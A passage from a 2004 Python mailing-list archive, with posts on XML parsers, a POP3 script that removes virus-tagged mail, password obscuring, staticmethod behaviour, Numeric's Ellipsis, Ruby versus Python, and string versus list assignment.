would not just use plain old super-super-fast delimited ASCII.

I did point out PyRXPU multiple times in this thread and credited you
for it.


> > If the presence of a bug in a program means that one cannot label the
> > program as being what it is intended to be, then all software would 
> > have
> > to be released with disclaimers like "this is supposed to be a Python
> > interpreter, and might be someday, but isn't yet because there are some
> > rare cases where it doesn't correctly interpret Python".
> 
> Classifying a lack of Unicode support in an XML parser as a
> 'bug' is ridiculous.

My point exactly.  It would be like calling it a "bug" if something
that called itself Python only accepted tabs for indentation rather
than spaces. Such a thing just simply wouldn't be Python.


> I must admit that I was a bit miffed when
> I first tried out 'the fastest validating XML parser around'
> and found out it couldn't validate XHTML, ONIX or anything
> except trivial examples I coded up - I got the impression that
> someone who didn't understand XML had gotten a bit overexcited.
> When I looked into it further, it became clear that pyRXP was
> not what I would call an XML parser *by design* and that
> ReportLab's definition of XML was slightly more flexible than
> mine :-)

And we're grateful for PyRXPU which does meet the only valid
definition of XML.  :-)

--Uche
http://uche.ogbuji.net


From ludo at asiatica.org  Wed Feb 18 02:54:13 2004
From: ludo at asiatica.org (Ludovico Magnocavallo)
Date: Wed, 18 Feb 2004 08:54:13 +0100
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa
	casuale ??
References: <2ca51434.0402171108.1cdbecb6@posting.google.com>
Message-ID: <c0v5mt$1cg437$1@ID-207825.news.uni-berlin.de>


"DrPike" <ml71 at katamail.com> wrote in message
news:2ca51434.0402171108.1cdbecb6 at posting.google.com...
> Un saluto a tutti,
>
> premetto che mi sono avvicinato al python relativamente da poco.
> Ho cercato un po' in giro ma non ho trovato nessun riferimento al
> quesito in oggetto.

ti conviene postare in inglese, o in italiano su it.comp.lang.python

ciao




From jmdeschamps at cvm.qc.ca  Mon Feb  9 13:32:05 2004
From: jmdeschamps at cvm.qc.ca (jmdeschamps)
Date: 9 Feb 2004 10:32:05 -0800
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
	<b6ba3f59.0402081333.71dc7cdb@posting.google.com>
Message-ID: <3d06fae9.0402091032.7628b292@posting.google.com>

m_webber_sydney at yahoo.com.au (Matthew) wrote in message news:<b6ba3f59.0402081333.71dc7cdb at posting.google.com>...
> Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<c03pel$19ts$1 at arachne.labyrinth.net.au>...
> > Hi all,
> >    I have released a new version of the win32all extensions.  I have 
> > also changed significantly the way I release them.
> 
> That sounds great. For those of us who have the ActiveState Python
> release, which had win32all bundled with it, is there any way we can
> upgrade that win32all, or do we need to uninstall ActiveState, then
> install vanilla Python and then win32all?
> 
> Thanks

I just double-clicked it in this week-end over my ActiveState installation!
Works great (up to now ;))

BTW - Thanks for the extended caracter set, Mark (H?h?...)!

Jean-Marc


From ptmcg at users.sourceforge.net  Thu Feb 26 04:42:02 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Thu, 26 Feb 2004 09:42:02 GMT
Subject: Python:Email and Header Parsing: Some Help
References: <mailman.149.1077785503.8594.python-list@python.org>
Message-ID: <Kbj%b.3284$OH4.359@fe2.texas.rr.com>

"dont bother" <dontbotherworld at yahoo.com> wrote in message
news:mailman.149.1077785503.8594.python-list at python.org...
> I want to parse the headers separtely and message
> separately. Does anyone has an example code to deal
> with Parser?
Here is a spam cleaner that I run several times a day.  My ISP run Symantec
on their end, and tag suspect e-mails with header virus tags.  This program
looks for those tags, and autodeletes any Klez or Swen infected e-mails.


import poplib, re

# Change this to your needs
POPHOST = "pop-server.austin.rr.com"
POPUSER = "xyzzy"
POPPASS = "ajsdlfjslfkj"

# reg expressions for extracting header data
re_from        = re.compile( "^From: (.*)" )
re_to          = re.compile( "^To: (.*)" )
re_subject     = re.compile( "^Subject: (.*)" )
re_virusresult = re.compile( "^X-Virus-Scan-Result: (.*)" )

def showMessage( msgHdr ):
  out = ( msgHdr["msgnum"], msgHdr["From"], msgHdr["Subject"],
msgHdr["Virus"] )
  print "%3d. %-30.30s   %-24.24s %-24.24s" % out

def scanMailboxMsgs():
  "refresh window contents"
  global deleteCount

  try:
    # log in to mail box
    pop = poplib.POP3(POPHOST)
    pop.user(POPUSER)
    pop.pass_( POPPASS)
    connected = True

    # retrieve msg headers
    msgCount, msgTotalSize = pop.stat()

    emptyHdr = {
      "From" : "",
      "To" : "",
      "Subject" : "",
      "Virus" : "none"
      }
    matchREs = [
      ( re_from, "From" ),
      ( re_to, "To" ),
      ( re_subject, "Subject" ),
      ( re_virusresult, "Virus" )
      ]

    # for each message, display header info
    for n in range( msgCount ):
      msgnum = n+1 # msg nums are 1-based, not 0-based

      # Retrieve message header
      response, headerLines, bytes = pop.top(msgnum, 0)

      hdr = emptyHdr.copy()
      hdr["msgnum"] = msgnum
      hdr["size"] = bytes
      for line in headerLines:
        for reExpr,hdrField in matchREs:
          match = reExpr.match( line )
          if match:
            hdr[ hdrField ] = match.group(1).strip('"')

      # auto-delete any msgs that had the W32.Swen virus
      if hdr["Virus"].count("W32.Swen") > 0 or \
         hdr["Virus"].count("W32.Klez") > 0:
        showMessage( hdr )
        pop.dele(msgnum)
        deleteCount += 1

  except poplib.error_proto, detail:
    print "POP3 error:", detail

  if connected :
    pop.quit()


# ============= main script ===============
deleteCount = 0
scanMailboxMsgs()
print "Deleted", deleteCount, "messages"

raw_input( "Press <return> to continue" )




From pinard at iro.umontreal.ca  Mon Feb  9 17:21:04 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 9 Feb 2004 17:21:04 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <102g0l3aot90b73@news.supernews.com>
References: <mailman.1372.1076344361.12720.python-list@python.org>
	<102g0l3aot90b73@news.supernews.com>
Message-ID: <20040209222104.GA16249@titan.progiciels-bpi.ca>

[John Roth]
> [Fran?ois Pinard]

> > >>> o.__class__ = C
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > TypeError: __class__ assignment: only for heap types
> 
> > By the way, what is a "heap type"?

> I think they're refering to objects that are allocated on the
> heap.  I'm not sure what attempting to instantiate object would do, but
> I suspect the result would be a built-in that can't be modified.

Someone suggested, on this list, that `object()' could be used for
cheaply producing an object which is guaranteed unique, when there is no
need for that object to have any other property.

If you do:

   a = object()
   b = object()
   c = object()
   ...

you will observe that they are all different, none of `a', `b', `c'
compare with `is' to another.  I do not see how the result could be
built-in or pre-allocated.

I could understand that some immutable objects, like 0, "z" or () could
be allocated statically.  But for `object()', I do not see.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From FBatista at uniFON.com.ar  Thu Feb 26 11:49:01 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 13:49:01 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D03383692@escpl.tcp.com.ar>

Gerrit wrote:

>> If you can restore it, anyone can. So there is theoretically no secure
wa=
>> y.
>> You can scramble it by applying some encodings to it serially:
>> 
>> s =3D str(int("Hello,
world!".encode("rot13").encode("zlib").encode("uu")=
>> .encode("rot13").encode("hex"), 16))
>>
hex(int(s))[2:-1].decode('hex').encode('rot13').decode("uu").decode("zlib=
>> ").decode("rot13")
>> 
>> However, it is not secure, especially not now that its on usenet ;-)


Sure, but it'll stop eventual snooping.

I'll scramble somehow with encode.

Thanks!

.	Facundo



From nospam at nowhere.hu  Sun Feb  1 16:46:37 2004
From: nospam at nowhere.hu (Miklós)
Date: Sun, 1 Feb 2004 22:46:37 +0100
Subject: Software patents [was: Re: Programmers Wanted..]
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1eq$jjr$1@namru.matavnet.hu>
	<2da21d6c.0401311702.1fd5c019@posting.google.com>
	<bvjoej$m9i$1@namru.matavnet.hu>
Message-ID: <bvjrl2$5cf$1@namru.matavnet.hu>

-> ..patents will jeopardize..
-> ..the fight against software patents seems to..

Sorry about these stupid grammar mistakes. :((

M




From Pieter.Claerhout at Creo.com  Mon Feb  2 02:31:57 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Mon, 2 Feb 2004 08:31:57 +0100 
Subject: How do you get the Postgresql Python 2.3 or above?
Message-ID: <490316A24CC5D411ACD700B0D078F7F003915E34@cseexch01.cse.creoscitex.com>

I'm using pyPgSQL with Python 2.3 and it works just fine.

http://pypgsql.sourceforge.net/

Cheers,


pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)


-----Original Message-----
From: George Young [mailto:gee_arr_why at ll.mit.edu] 
Sent: 02 February 2004 02:28
To: python-list at python.org
Subject: Re: How do you get the Postgresql Python 2.3 or above?


On Sun, 01 Feb 2004 23:57:37 +0000, John J. Lee wrote:

> Benjamin Arai <benjamin at araisoft.com> writes:
> 
>> There is a module that compiles for Python in PostgreSQL that compile
>> but it is only for Python 2.2.  How do you make it compile for 2.3?
> 
> There are several PostgreSQL modules for Python.  Which one?
> 
> Not that you're likely to get a better answer here than on the
> relevant web page or mailing list, mind you...

One of the main ones is "PyGreSQL", available from:
 ftp://ftp.druid.net/pub/distrib/PyGreSQL.tgz

"""
PyGreSQL is a python module that interfaces to a PostgreSQL database. It
embeds the PostgreSQL query library to allow easy use of the powerful
PostgreSQL features from a Python script.

This release fixes a few bugs, adds a few minor features and makes a
few speedups in the code.  It works with Python version 2.3 and PostgreSQL
version 7.3.x
"""
-- 
George Young
gee arr why at ll.mit.edu
[three letter username]

-- 
http://mail.python.org/mailman/listinfo/python-list



From paul at prescod.net  Sun Feb 22 02:06:14 2004
From: paul at prescod.net (Paul Prescod)
Date: Sat, 21 Feb 2004 23:06:14 -0800
Subject: class vs function ???
In-Reply-To: <1c764367.0402212226.7002821f@posting.google.com>
References: <1c764367.0402210857.579f59ab@posting.google.com>
	<1c764367.0402212226.7002821f@posting.google.com>
Message-ID: <403854E6.1020704@prescod.net>

Gaurav Veda wrote:

> Hi !
> 
> I have read all the replies and they are all extremely helpful. Thanks
> a lot !!!
> My basic doubts were :
> 1) I am allowed to write things in the class body without the need for
> encapsulating them in functions. Moreover, they are executed as soon
> as I define the class. Infact, I can also call functions in the class
> body (the way  I called fun2). All this, while I am just defining the
> class !	-- I still don't understand why are classes implemented in
> this way in pyhton.

In Python, function declarations ("def"s) are statements just like "if" 
or "print" or "while". Anywhere you can define a function you can use 
"if" or "print" or "while" and anywhere you can use "if" or "print" or 
"while", you can use "def". This simplifies the language by removing 
special cases. This basic concept is also very powerful sometimes:


class do_somethin_in_a_cross_platform_way:
     if sys.platform=="win32":
         import some_win32_library
         def myfunc():
             some_win32_library.dosomething()
     else:
         import some_unix_library
         def myfunc():
             some_win32_library.dosomething()

For various reasons you are unlikely to see code that looks exactly like 
that but you should get the gist of how you can take advantage of 
Python's flexibility. Here's another kind of pattern that may stretch 
your mind:

def function_that_makes_functions(arg1):
    def inner_function(self, arg2):
        ... do something with arg1 and arg2 ...

    return inner_function

class a:
    mymethod1 = function_that_makes_functions("abc")
    mymethod2 = function_that_makes_functions("def")

> ...
> Being a 3rd year undergraduate student, I have to make a Python
> 'compiler' (I know it sounds foolish -- but thats what my instructor
> wants me to do !).

There are actually a few Python compilers out there. compiler.py 
compiles to Python bytecodes. Pyrex compiles to C. Jython compiles to 
Java bytecodes. There are couple of half-implemented compilers to .NET 
bytecodes.

You probably need to define a subset as Pyrex does. Compiling all of 
Python is quite a challenge and won't teach you much about how people 
compile more traditional languages like Java or C.

  Paul Prescod





From eurleif at ecritters.biz  Sat Feb 14 18:37:23 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Sat, 14 Feb 2004 23:37:23 GMT
Subject: How to make forums
In-Reply-To: <cb4342b6.0402141203.7afb55b3@posting.google.com>
References: <cb4342b6.0402141203.7afb55b3@posting.google.com>
Message-ID: <TiyXb.1705$VP1.1171014@newshog.newsread.com>

Spencer wrote:
> I am interested in making my own forums (powered by Python). I was
> wondering what would be needed to make one, so that I can start making
> it.
> 
> I have always used the login script I made (it uses PHP and MySQL),
> will people be able to use the forums using a PHP/MySQL login script?
> Will it makes things more complicated?

If your forums were written in Python, it wouldn't make very much sense 
to write your login script in PHP. You probably could share enough data 
to make that possible, but why on earth would you want to?

-- 
$_=" 5_2 8_2\n 3/*3 \\ 4/*3 \\\n / *7\\/*7 \\\n| *17 |\n \\ *15 /\n 3".
"\\ *11 /\n 5\\ *7 /\n 7\\ *** /\n 9\\*/";while(/(.)([0-9]*)/gs){print$1
x($2||1)}print"\n"


From __peter__ at web.de  Wed Feb 18 16:54:22 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 22:54:22 +0100
Subject: Ellipsis usage?
References: <mailman.14.1077122363.27104.python-list@python.org>
Message-ID: <c10mue$k51$06$1@news.t-online.com>

Wayne Folta wrote:

> I see Ellipsis documented under slicing, though it appears it's not
> used in slicing but rather slicing-like notation for dictionary keys.
> It's a minor thing but none of the books I have even mention it. Is it
> obsolete in python 2.x or still useful?

The Nutshell has it in the chapter about the Numeric package (but not in the
index), and Numeric is the only package I know of that uses the ellipsis:

>>> a = Numeric.reshape(range(8), (2,2,2))
>>> a
array([[[0, 1],
        [2, 3]],
       [[4, 5],
        [6, 7]]])
>>> a[1,1,1]
7
>>> a[:,:,1]
array([[1, 3],
       [5, 7]])

This can be abbreviated:

>>> a[...,1]
array([[1, 3],
       [5, 7]])

Another example:

>>> a[1,...,1]
array([5, 7])
>>> a[1,:,1]
array([5, 7])

I. e. you can specify the leading and the trailing dimension(s), and the
ellipsis inserts defaults for the intermediate dimensions.

Peter



From kak at purdue.edu  Wed Feb 18 00:31:16 2004
From: kak at purdue.edu (Avi Kak)
Date: Wed, 18 Feb 2004 05:31:16 GMT
Subject: Memory pre-allocation for large lists
Message-ID: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>



Hello:

Is it possible in Python to define an empty list
of a predetermined size?

To illustrate my question further, I can do the
following in Perl

   my @arr = ();
   $#arr = 999;

that wold cause @arr to become an empty array 
of size 1000.  This array could be used to 
store 1000 elements without any further memory
allocation for the array itself.

Can the same be done in Python?

Avi Kak
kak at purdue.edu




From __peter__ at web.de  Wed Feb 11 10:18:25 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 16:18:25 +0100
Subject: error: 'staticmethod' object is not callable
References: <mailman.1458.1076494925.12720.python-list@python.org>
	<c0d3tc$nsg$03$1@news.t-online.com>
	<mailman.1461.1076509269.12720.python-list@python.org>
Message-ID: <c0dh41$48s$00$1@news.t-online.com>

Michal Vitecek wrote:

> Peter Otten wrote:
>>You are wrapping method2() twice:
>>
>>class A(object):
>>    def method(parA):
>>        print "in A.method()"
>>    method = staticmethod(staticmethod(method))
>>
>>A.method("first")
>>
>>Why would you expect this to work?
> 
>  i don't expect this to work. i just don't get it why python allows this
>  double wrapping of a method. it cannot be used for anything reasonable,
>  can it?
> 

>>> import __builtin__
>>> def staticmethod(m):
...     assert callable(m), "staticmethod expects a callable as argument"                         
...     return __builtin__.staticmethod(m)
...
>>> class A(object):
...     def method():
...             pass
...     method = staticmethod(method)
...     method = staticmethod(method)
...
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 5, in A
  File "<stdin>", line 2, in staticmethod
AssertionError: staticmethod expects a callable as argument
>>>

Is this what you want then?
Personally, I don't care much, because 
(1) I use static methods very rarely. 
(2) The error message makes it clear enough that something's wrong with a
static method.

If you think it's important, you could either use a wrapper function like
above in your code or submit a patch.

Peter



From __peter__ at web.de  Thu Feb 26 07:58:06 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 26 Feb 2004 13:58:06 +0100
Subject: Linenumbers of traceback wrong
References: <pan.2004.02.26.12.39.06.770676@thomas-guettler.de>
Message-ID: <c1kqgv$20n$07$1@news.t-online.com>

Thomas Guettler wrote:

> Sometimes the linenumbers of a traceback are wrong.
> 
> See this traceback. I don't use any attribute "key" here.
> The method search_dict does not use this attribute, too.
> 
> Traceback (most recent call last):
>   File
>  
"/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py",
>   line 553, in publish
>     output = self.process_request(request, env)
>   File
>  
"/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py",
>   line 535, in process_requ
>     output = self.try_publish(request, env.get('PATH_INFO', ''))
>   File "/mnt/raid/modarch/workflow/lib/ZEOClientPublisher.py", line 198,
>   in try_publish
>     return Publisher.try_publish(self, request, path)
>   File
>  
"/mnt/raid/modarch/workflow/python/lib/python2.3/site-packages/quixote/publish.py",
>   line 483, in try_publish
>     output = object(request)
>   File "/mnt/raid/modarch/workflow/lib/WorkflowServer.py", line 726, in
>   search
>     buchungsdatum_bis))
>   File "/mnt/raid/modarch/workflow/lib/SearchCatalog.py", line 302, in
>   search_dict
>     ids_dict.update(this_ids_dict)
> AttributeError: keys
> 
> Python 2.3.2 (#1, Nov 20 2003, 12:57:28)
> [GCC 2.95.3 20010315 (SuSE)] on linux2
> 
> 
> "keys" get used here:
> 
>     def search(self, attr, value, maxvalue=None):
>         result_dict=self.search_dict(attr, value, maxvalue)
>         return result_dict.keys()
> 
> ids_dict was created with "ids_dict={}"
> 
> Any hints?

Consider:

>>> d = {1:2, 3:4}
>>> d.update(["a", "b"])
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: keys
>>> d.update({"a":1, "b":2})

dict.update() tries to access the keys method, so you should check if 
this_ids_dict is really a dictionary.

Peter


From peter at engcorp.com  Mon Feb 23 16:30:43 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 16:30:43 -0500
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
Message-ID: <403A7103.7F1CE0D8@engcorp.com>

Jon Cosby wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote
> > Without more detail, I doubt anyone can help much more.  
> 
> I get the same line with all of my scripts, nothing else.

Please go back and reread the previous sentence again.  If you won't
provide some context, you won't likely get helpful answers.

I'll try again: *what* is giving you that error message?  Some program
prints it, somewhere.  Is it in a log file?  Printed to the console?
In a popup dialog box?  On the browser screen?  What exact command did you
type just before you saw that error.  Have you installed Python?  
What version?  etc etc etc...

-Peter


From R.Brodie at rl.ac.uk  Wed Feb 25 09:08:57 2004
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Wed, 25 Feb 2004 14:08:57 -0000
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<103n7q6278bj4be@news.supernews.com><15c2d03b.0402250158.77de365f@posting.google.com>
	<mailman.98.1077714939.8594.python-list@python.org>
Message-ID: <c1ia9r$i7c@newton.cc.rl.ac.uk>


"b-blochl" <bblochl2 at compuserve.de> wrote in message
news:mailman.98.1077714939.8594.python-list at python.org...

> I am absolutely horrified to find  goto as a necessary  instruction of
> programming!

> ..Bohm C. and G. Jacopini "Flow Diagrams, Turing Machines, and Languages
> with Only Two Formation Rules."

You'll be sticking to the infinitely long tape then. ;)




From peter at engcorp.com  Tue Feb 10 16:29:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 16:29:26 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
Message-ID: <40294D36.B0AEE3C4@engcorp.com>

"Martin v. L?wis" wrote:
> 
> Peter Hansen wrote:
> 
> > See my reply to Brian Q...  I can accept that, but read more into Uche's
> > objection than he probably meant.  It now seems rather over the top to
> > write an article lambasting the product for something that would normally
> > just be considered a simple bug/defect in the software, unless the
> > maintainers have in effect refused to fix it.
> 
> If a parser prints a message "not a valid 8-bit XML character", then it
> can't be an XML parser. XML does not have a notion even remotely related
> to "8-bit characters".

Aren't we talking about semantics now, and rather tritely at that?  So
don't call it an XML parser, yet.  Wait until it no longer emits that
message, whatever you want.  I'd call that throwing out the baby with the
bath-water, if it means (a) nobody reports that as a bug, and (b) someone
who could benefit from it even with that defect fails to do so because 
it's illegal and immoral to label it an "XML parser", much as it might 
want to be one, until it's perfect.

-Peter


From james at logicalprogression.net  Wed Feb 11 12:05:28 2004
From: james at logicalprogression.net (James Henderson)
Date: Wed, 11 Feb 2004 17:05:28 +0000
Subject: Principiante in cerca di spiegazione!
In-Reply-To: <72eeefd4.0402110843.115a8e60@posting.google.com>
References: <72eeefd4.0402110843.115a8e60@posting.google.com>
Message-ID: <200402111705.28465.james@logicalprogression.net>

On Wednesday 11 February 2004 4:43 pm, Augusto wrote:
> Ciao a tutti,
> premetto a tutti che st? imparando proprio adesso a studiare python ed
> ho il seguente problema ... questo script copiato pari pari da un
> tutorial mi rid? un'errore che non capisco.. questo ? il codice:
>
> from Tkinter import *       # importo il modulo
>
> # costruisco una mia classe che gestisce la finestra
> class Application(Frame):
>
>     # metodo che scrive un messaggio a video
>     def scrivi_messaggio(self):
> 		self.mess["text"] = "Ciao a tutti!",
>
>     # metodo che pulisce il messaggio a video
>     def cancella_messaggio(self):
> 		self.mess["text"] = "",
>
>     # metodo costruttore che crea gli oggetti grafici
>     def __init__(self, master=None):
> 		f = Frame(master)
> 		f.pack()
>
>     # crea il bottone di uscita (di colore rosso)
>     self.esci = Button(f)
>     self.esci["text"] = "QUIT"
>     self.esci["fg"]   = "red"
>     self.esci["command"] =  f.quit
>     self.esci.pack({"side": "left"})
>
>     # crea il bottone che permette di scrivere il messaggio
>     self.butt_mess = Button(f)
>     self.butt_mess["text"] = "Scrivi",
>     self.butt_mess["command"] = self.scrivi_messaggio
>     self.butt_mess.pack({"side": "left"})
>
>     # crea il bottone che permette di pulire il messaggio
>     self.butt_canc_mess = Button(f)
>     self.butt_canc_mess["text"] = "Cancella",
>     self.butt_canc_mess["command"] = self.cancella_messaggio
>     self.butt_canc_mess.pack({"side": "left"})
>
>     # crea l'oggetto grafico che contiene il messaggio
>     self.mess = Message(f)
>     self.mess["text"] = "",
>     self.mess.pack({"side": "left"})
>
>
> # corpo principale del programma
> finestra = Tk()
> app = Application(finestra)
> finestra.mainloop()
>
> e mi ritorna un'errore come:
>
> Traceback (most recent call last):
>   File "C:/Python23/tests/tkinter.py", line 4, in -toplevel-
>     class Application(Frame):
>   File "C:/Python23/tests/tkinter.py", line 20, in Application
>     self.esci = Button(f)
> NameError: name 'f' is not defined
>
> ?? Eppure la var f ? definita nell' _INIT_
>
> qualcuno mi s? spiegare perch??
>
> Grazie in anticipo!
>
> Augusto

f is indeed defined in __init__ and is therefore local to __init__.  The name 
is not available outside that method.  I think that your problem may be that 
the code following "f.pack()" to the end of the class definition is meant 
also to be part of the __init__ function.  Try indenting it all to be level 
with "f.pack()".

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From wmwd2zz02 at sneakemail.com  Tue Feb 24 21:39:05 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 15:39:05 +1300
Subject: How does Ruby compare to Python?? How good is DESIGN of Ruby
 compared to Python?
In-Reply-To: <bf23f78f.0402241443.678bf6c8@posting.google.com>
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
Message-ID: <c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>

Christian Seberino wrote:
> Python's design is godly.  I'm wondering if Ruby's is godly too.

Actually, Python's design is Guidoly, which seems to be
almost as good in practice.

As for Ruby -- if it is, Japanese gods seem to have somewhat
different tastes in language design.

Personally I much prefer Python. You'll probably get the same
answer from most people here, since this is a Python newsgroup...

> I've heard it has solid OOP design

It's more rigidly OO in the sense that there are no stand-alone
functions, only methods. But that's just a surface issue. As far
as I can see, Python's foundation is as solidly OO as anything
can get, no less so than Ruby's.

> but then I've also heard there are
> lots of weird ways to do some things kinda like Perl which is bad for me.

Ruby code is liberally sprinkled with @-signs, which tends to
make it look slightly Perl-ish. But again that's a surface
issue, and Ruby is really no more like Perl than Python is.

Some areas of real, important differences I can see are:

* Ruby makes heavy use of passing code blocks around as
parameters, to implement iteration constructs and so forth.
Ruby is very much like Smalltalk in this respect. Python
uses a different mechanism (the iteration protocol) to achieve
these things. Python's way is both more and less powerful
than Ruby's. Ruby makes it easy to define new control
structures which look just like the built-in ones, which
you can't do with Python. On the other hand, Python has
its amazingly powerful generators, for which there is no
direct equivalent in Ruby.

* In Python, functions are first-class, and
methods are implemented in terms of functions. In Ruby,
methods are the fundamental concept, and there are no
first-class functions. The result is that Python lets
you obtain a bound method from an object and use it like
any other function. You can't do that in Ruby. You can
get a method object in Ruby, but you can't call it using
normal calling syntax.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From nospam at nopes  Tue Feb 24 19:31:03 2004
From: nospam at nopes (Steve)
Date: Wed, 25 Feb 2004 11:31:03 +1100
Subject: How to suspend a script?
In-Reply-To: <403becad@clarion.carno.net.au>
References: <403becad@clarion.carno.net.au>
Message-ID: <403bed20$1@clarion.carno.net.au>

Steve wrote:
> Hi,
> 
> How can I send a python script a suspend signal? I need to suspend a 
> script that frequently updates the database so that I can do a "vacuum" 
> on  the database without affecting the script. Thanks!
> 
> Steve
> 


I would like to add that I want it to be a cron job so I need to do 
something externally. This might be a trivial thing to do but I'm a 
newbie and I'm not too fluent with linux.

Steve



From dw-google.com at botanicus.net  Sat Feb 14 21:15:23 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Sun, 15 Feb 2004 02:15:23 +0000
Subject: Download Python Tutorial
In-Reply-To: <4f77b267.0402141730.76857bb6@posting.google.com>
References: <4f77b267.0402141730.76857bb6@posting.google.com>
Message-ID: <402ed642$0$7068$ed9e5944@reading.news.pipex.net>

1144185 wrote:

> I use Windows Me at home and I want Python Tutorial of www.python.org
> download as a text resistant but I can only download the file as HTML
> resistant and I have few experiences with Internet.

Windows ME has Internet Explorer built-in (don't you read the news? ;), 
so offline reading of the HTML version should be fine. You could convert 
the HTML to text easily enough, but you really shouldn't have to.


David.



From tismer at stackless.com  Mon Feb 23 21:55:50 2004
From: tismer at stackless.com (Christian Tismer)
Date: Tue, 24 Feb 2004 03:55:50 +0100
Subject: [Stackless] Re: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>
References: <mailman.145.1077390882.27104.python-list@python.org>	<403A8E4F.7080801@aon.at>
	<403A9C1E.9040509@stackless.com>
	<C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>
Message-ID: <403ABD36.50708@stackless.com>

Bob Ippolito wrote:

...

> This is not an authoritative response, because I don't actually know, 
> however here is my guess:

Good guess.

> But I must reiterate that I have no idea.. never looked at the IDLE 
> source code, don't use IDLE, haven't been on python-dev long enough to 
> notice if/when this happened... I have however run into these sorts of 
> problems on my own plenty of times and solved them to various degrees 
> (but have not written a full out RPC mechanism, though I would like to 
> at some point if a good one doesn't yet exist).

I'm no IDLE or Tcl/Tk user, either. But I had Tcl problems,
before. What I really would hate is to have to build the Tcl
stuff and debug that.
What I'm probably going to try tomorrow is to disable all
pikcling extensions at all and see if it runs, then.
Then I will re-enable them, one after the other.
My guess is that something gets pickled because it shows
up as pickleable, through introspection.
Maybe a special case is hit again (like with cell objects)
that needs to use the ternary __reduce__ protocol. I don't know.

I need sleep.  ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From noemail at noemail4u.com  Mon Feb  2 11:29:14 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Mon, 02 Feb 2004 16:29:14 GMT
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <2768c1e3f88a4dc0c5f8298d66e953b5@news.teranews.com>

On 2 Feb 2004 07:50:01 -0800, klaus_neuner82 at yahoo.de (Klaus Neuner)
wrote:

>Hello,
>
>I would like to understand the reason for the following difference
>between dealing with lists and dealing with strings: What is this
>difference good for? How it is accounted for in Python slang?
>
>Klaus
>
>>>> string1 = "bla"
>>>> string2 = string1
>>>> string1 = string1 + "bla"
>>>> string1
>'blabla'
>>>> string2
>'bla'
>>>> 
>
>>>> list1 = [1,2]
>>>> list2 = list1
>>>> list1.append(1)
>>>> list1
>[1, 2, 1]
>>>> list2
>[1, 2, 1]
>>>>
Strings are immutable, lists are mutable. String concatenation builds
a new string object.  List appending does not build a new list.
Variables/names are references to objects; they are not themselves the
objects.

In the first example, you point both variables/names to the "bla"
string.  You then build a new string object "blabla" and point the
string1 variable to that new string.  string2 still points to the old
one.

In the second example, you point two variables/names to the [1, 2]
list.  You then append an item to that list.  The two variables still
point to the same list, which now has an additional element.

The "what is it good for" is the mutable/immutable difference.  Think
of it this way--numbers are immutable.  If you said:
>>> n1 = 3
>>> n2 = n1
>>> n1 = n1 + 1
>>> print n1, n2
You wouldn't expect the number 3 itself to change.  When you add n1 to
